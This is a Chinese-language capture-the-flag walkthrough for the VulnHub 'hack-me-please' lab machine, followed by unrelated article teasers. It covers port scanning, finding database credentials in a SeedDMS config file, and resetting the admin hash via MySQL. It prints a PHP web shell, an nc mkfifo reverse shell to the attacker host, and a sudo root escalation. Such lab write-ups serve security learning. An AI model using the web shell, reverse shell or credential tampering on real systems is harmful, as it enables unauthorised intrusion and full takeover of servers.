vulnhub靶场之【hack-me-please靶机】

前言

靶机:billu_b0x2靶机,IP地址为192.168.10.8

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/b29972b79f71

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.8 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.8 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.8 -p $ports --min-rate=1000 -oA detail

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.8 -p $ports -oA vuln

网站信息探测

访问80端口网站,这里因为请求涉及国外的链接,所以建议代理一下

查看页面源代码并没有信息泄露,那么使用whatweb或浏览器插件wappalyzer进行配置识别

whatweb http://192.168.10.8 -v

使用gobuster等目录爆破工具进行测试

gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md

访问这些目录基本上没什么效果。都是403无权访问,既然无权,那么之前查看页面源代码的时候,发现有文件指向,不知道能否访问

点击后,发现可以访问,那么就是哪个目录不能访问,但是有文件就可以,依次查看。在/js/main.js中发现了一个目录/seeddms51x/seeddms-5.1.22/

访问这个目录发现,是一个登录界面,并且可以看到所谓的cms,是seeddms,并且版本应该是5.1.22

使用searchsploit搜索对应版本的漏洞,发现并没有

那么对这个目录再深入进行目录爆破,能否发现更深的信息,先对外层目录测试

dirsearch -u http://192.168.10.8/seeddms51x -x 403,404 -e js,php,xml,txt,md -r

发现在conf下有一个文件settings.xml,那么访问,发现代码有点乱

数据库数据覆盖

那么查看页面源代码,在其中一项发现数据库连接账户和密码

之前数据库端口3306是开放的,那么直接访问,并以用户名seeddms和密码seeddms进行登录

mysql -h 192.168.10.8 -P 3306 -useeddms -pseeddms --skip-ssl

这时候去查看表,发现有users,那么直接查看这个users中的数据

目前只有网站登录,并且这个数据库的名称应该就是网站的后台数据库,密码为Saket@#$1337

访问之前的登录界面/seeddms51x/seeddms-5.1.22/

但是以这个无法登录,发现数据库中还有一个表tblUsers,再查看一下

两个用户,其中guest用户没有密码,admin用户的密码是经过加密的,可能是md5,不知道是否加盐,那么就破解一下,借助网站cmd5.comsomd5.com都没有破解出,那么尝试进行密码更新

首先借助openssl生成md5加密的字符

echo -n '123456' | openssl md5

然后在数据库中执行命令替换密码

update tblUsers set pwd='e10adc3949ba59abbe56e057f20f883e' where id=1;

这时候再去网站登录界面,以用户名admin和密码123456成功登录目标

文件上传漏洞

在测试几个界面后,发现一个添加文档的界面,可以上传文件,之前确定网站为php语言,那么可能存在文件上传的漏洞,进行测试

点击下面的添加文档后,虽然跳转显示为500,但是经过查看,发现文件上传成功了,不过就是不知道文件路径

上传的时候提示的路径http://192.168.10.8/seeddms51x/seeddms-5.1.22/op/op.AddDocument.php是表单处理的,但是访问的时候,无法访问,还是不知道把数据搞哪去了

不过查看管理员工具中的设置,发现上传路径在data

然后在高级设置中,发现了所谓的“内容偏移目录”,这可能与上传目录有关,尝试拼接

可以看到这里是无权,不是没有该文件或目录,后面的信息,不知道, 那么尝试爆破吧

dirsearch -u http://192.168.10.8/seeddms51x/data/1048576 -x 403,404 -e php -r

为什么三个,因为我后面又上传了三个文件,这里可以发现,每上传一个php文件,其目录会递增,不过文件名是一样。现在上传一个可以命令执行的php代码,或者可以直接反弹shell的代码。

访问其中一个,测试发现php代码解析了

我这里就上传文件执行的代码为示例

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

这时候再上传这个文件,访问的时候,直接访问/data/1048576/7/1.php,发现成功

这时候就是文件上传到命令执行了

执行反弹shell的命令,当然需要先在kali开启监听

nc -lvnp 9999

这时候再构造反弹shell的命令,进行测试

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f

查看靶机内安装python没有,安装的话,什么版本

compgen -c | grep python

然后使用python加一层shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

提权

查看当前系统内的用户,发现有saket用户,好眼熟,前面在一个数据库中看到过这个用户,密码是Saket@#$1337

使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

发现有susudo,那么尝试切换用户saket,密码就是这个Saket@#$1337

使用sudo -l可以看到对于用户saket,所有的命令都可以sudo执行

我直接一个sudo -s提权到root

总结

该靶机主要考察的就是信息收集

js文件中信息发现---->访问路径---->目录爆破---->发现配置文件---->找到数据库信息---->登录网站---->文件上传----->php命令执行---->反弹shell---->sudo提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/74204.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习——KNN模型评价

一、主要函数 sklearn.metrics.accuracy_score() 是 scikit-learn 中用于计算分类模型准确率的函数&#xff0c;适用于评估分类任务的整体性能。 1、核心功能 作用&#xff1a;计算模型预测的准确率&#xff0c;即正确分类的样本数占总样本数的比例。公式&#xff1a;Accurac…

美国国家数据浮标中心(NDBC)

No.大剑师精品GIS教程推荐0地图渲染基础- 【WebGL 教程】 - 【Canvas 教程】 - 【SVG 教程】 1Openlayers 【入门教程】 - 【源代码示例 300】 2Leaflet 【入门教程】 - 【源代码图文示例 150】 3MapboxGL【入门教程】 - 【源代码图文示例150】 4Cesium 【入门教程】…

Qt调用Miniconda的python方法

1、 Win 64环境下载及安装 Miniconda 首先下载Windows 版Miniconda&#xff0c;https://docs.conda.io/en/latest/miniconda.html或 https://repo.anaconda.com/miniconda/ 安装界面及选择如下图所示&#xff1a; 安装完python3.12版报错如下。 说明&#xff1a;python3.11版…

Unity 与 JavaScript 的通信交互:实现跨平台的双向通信

前言 在现代游戏开发和 Web 应用中&#xff0c;Unity 和 JavaScript 的结合越来越常见。Unity 是一个强大的跨平台游戏引擎&#xff0c;而 JavaScript 是 Web 开发的核心技术之一。通过 Unity 和 JavaScript 的通信交互&#xff0c;开发者可以实现从 Unity 到 Web 页面的功能扩…

汽车免拆诊断案例 | 2024 款路虎发现运动版车无法正常识别智能钥匙

故障现象  一辆2024款路虎发现运动版车&#xff0c;搭载2.0 L发动机&#xff0c;累计行驶里程约为5 000 km。车主反映&#xff0c;使用遥控器无法解锁车门&#xff0c;随后使用机械钥匙打开车门&#xff0c;踩下制动踏板&#xff0c;按压起动按钮&#xff0c;仪表盘提示“将智…

跟着StatQuest学知识06-CNN进行图像分类

目录 一、CNN特点 二、CNN应用于图像分类 &#xff08;一&#xff09;使用过滤器 &#xff08;二&#xff09;通过ReLU激活函数 &#xff08;三&#xff09;应用新的滤波器&#xff08;池化&#xff09; &#xff08;四&#xff09;输入 &#xff08;五&#xff09;输出…

OpenHarmony 开源鸿蒙北向开发——linux使用make交叉编译第三方库

这几天搞鸿蒙&#xff0c;需要编译一些第三方库到鸿蒙系统使用。 头疼死了&#xff0c;搞了一个多星期总算搞定了。 开贴记坑。 一、SDK下载 1.下载 在linux下使用命令 wget https://cidownload.openharmony.cn/version/Master_Version/OpenHarmony_5.1.0.54/20250313_02…

Selenium Web UI自动化测试:从入门到实战

引言 在当今快速迭代的软件开发周期中&#xff0c;自动化测试已成为保障产品质量、提升测试效率的核心手段之一。而针对Web应用的UI自动化测试&#xff0c;Selenium作为最流行的开源工具之一&#xff0c;凭借其跨浏览器、多语言支持&#xff08;Python、Java、C#等&#xff09…

Java 大视界 -- Java 大数据中的数据隐私保护技术在多方数据协作中的应用(147)

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…

编程考古-安德斯·海尔斯伯格(Anders Hejlsberg)回答离开Borland的原因

安德斯海尔斯伯格&#xff08;Anders Hejlsberg&#xff09;是著名的编程语言和工具开发者&#xff0c;曾主导开发了 Turbo Pascal、Delphi&#xff08;Borland 时期&#xff09;&#xff0c;以及加入微软后参与的 C# 和 TypeScript。关于他离开 Borland 的原因&#xff0c;可以…

西门子仿真实例位置

C:\Users\san\Documents\Siemens\Simatic\Simulation\Runtime\Persistence S7-PLCSIM Advanced V3.0 可以打开文件&#xff0c;删除重建

【数据库系统原理】Ch7 数据库应用设计与开发实例

目录 大纲7.1 需求描述与分析7.2 系统设计7.3 系统实现7.4 系统测试与维护 习题真题2024-102024-042023-102023-042022-10 大纲 7.1 需求描述与分析 熟悉需求描述与分析的方法,达到"领会"层次。 7.2 系统设计 熟悉根据需求的描述划分系统的功能模块,能够进行初步…

使用 Python 的turtle库绘制精美图形

在 Python 编程的世界里&#xff0c;turtle库是一个非常有趣且实用的工具&#xff0c;它为初学者和有经验的开发者提供了一个简单而直观的方式来进行图形绘制。本文将详细讲解如何使用turtle库绘制不同的图形&#xff0c;包括六边形、一个特定的多边形&#xff0c;以及一个由线…

基于linux平台的C语言入门教程(5)基本数据类型

文章目录 1. 什么是数据类型&#xff1f;2. C 语言的基本数据类型3. 数据类型的存储大小4. 示例代码代码解析&#xff1a;输出结果&#xff1a; 5. 常见问题问题 1&#xff1a;float 和 double 的区别是什么&#xff1f;问题 2&#xff1a;unsigned 类型可以存储负数吗&#xf…

Bellman_ford 算法——解决负权边最短路径问题

卡码网:94. 城市间货物运输 I 94. 城市间货物运输 I 题目描述 某国为促进城市间经济交流,决定对货物运输提供补贴。共有 n 个编号为 1 到 n 的城市,通过道路网络连接,网络中的道路仅允许从某个城市单向通行到另一个城市,不能反向通行。 网络中的道路都有各自的运输成本…

mysql——第二课

学生表 CREATE TABLE student (id int(11) NOT NULL AUTO_INCREMENT,name varchar(255) COLLATE utf8mb4_bin DEFAULT NULL,sex varchar(255) COLLATE utf8mb4_bin DEFAULT NULL,age int(11) DEFAULT NULL,c_id int(10) DEFAULT NULL,PRIMARY KEY (id),KEY c_id (c_id),CONSTR…

图解 ThreadLocal

在 Java 多线程编程的世界里&#xff0c;ThreadLocal 是一个非常实用的工具&#xff0c;它为每个线程提供了独立的变量副本&#xff0c;避免了多线程环境下的变量共享问题。今天&#xff0c;我们就从内存视角出发&#xff0c;通过一张图来深入理解 ThreadLocal 的工作原理&…

Sql Server 索引性能优化 分析以及分表

定位需优化语句 根据工具 skywking 或者开启慢查询日志 找到 慢sql 的语句根据 执行过程 来 判断 慢的原因 row filter 指标 看查了多少数据 比例多少 type 看下是单表 还是 join联表 比如 执行步骤多 没索引 优化方向 减少执行次数索引 没索引考虑加索引 加索引 尽量选择 i…

@JsonSerialize注解

1.简介 JsonSerialize注解可以自定义改变返回前端的内容,比如:将Student实体类的age字段的值在返回前端之前,由20改为21. 要用到jackson-databind依赖包,在Spring Boot项目中&#xff0c;默认已经集成了Jackson&#xff0c;因此你不需要手动引入Jackson库。 2.上例子 将Stud…

Java面试黄金宝典5

1. ConcurrentHashMap 和 HashTable 有哪些区别 原理 HashTable&#xff1a;它继承自 Dictionary 类&#xff0c;是 Java 早期提供的线程安全哈希表。其线程安全的实现方式是对每个方法都使用 synchronized 关键字进行同步。例如&#xff0c;在调用 put、get 等方法时&#xff…